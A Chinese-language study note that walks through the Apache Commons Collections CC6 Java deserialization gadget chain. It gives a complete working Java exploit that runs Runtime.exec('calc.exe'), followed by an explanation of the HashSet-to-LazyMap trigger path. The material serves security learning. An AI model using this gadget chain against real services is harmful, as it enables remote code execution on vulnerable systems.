1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class CC6Exp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry);
Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, transformerChain);
lazyMap.remove("foo");
byte[] bytes = serialize(hashSet); System.out.println("序列化完成,准备触发反序列化..."); unserialize(bytes); }
public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
当对一个 HashSet 进行反序列化(readObject)时,它需要把数据重新放回集合里。HashSet 底层其实是一个 HashMap,所以它会调用 HashMap.put() 来恢复数据。
在 HashMap 中放入元素时,必须计算元素的哈希值以确定存储位置。所以 put() 方法会自动调用传入对象的 hashCode() 方法。
这里的 map.put(e, PRESENT) 会调用 TiedMapEntry 的 hashCode 方法

这里会调用 key.hashCode(),而 key 就是 tiedMapEntry 对象。

把 CC5 中用过的 TiedMapEntry 塞进 HashSet 里。当 HashMap 调用 TiedMapEntry.hashCode() 时,会发现 TiedMapEntry 为了计算哈希值,内部自动调用了 this.getValue()。

这里的 map 是 lazyMap,key 是 "foo"

后面和之前就一样了
1 2 3 4 5 6 7 8 9 10
| ois.readObject() <=> ObjectInputStream.readObject() HashSet::readObject() ->HashMap::put() ->HashMap::hash() ->TiedMapEntry::hashCode() ->TiedMapEntry::getValue() ->LazyMap::get() ->ChainedTransformer::transform() ->ConstantTransformer::transform() ->InvokerTransformer::transform()
|